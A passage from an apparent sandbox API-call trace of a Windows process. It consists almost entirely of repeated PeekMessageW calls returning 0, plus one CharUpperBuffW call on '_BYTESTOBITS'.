lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.073] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.074] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.075] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.076] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f650) returned 0 [0045.077] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.077] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe0d659f0d0) returned 0 [0045.078] PeekMessageW (in: lpMsg=0xe0d659f0d0, hWnd=0x0, wMsgFilterMin=0x0, 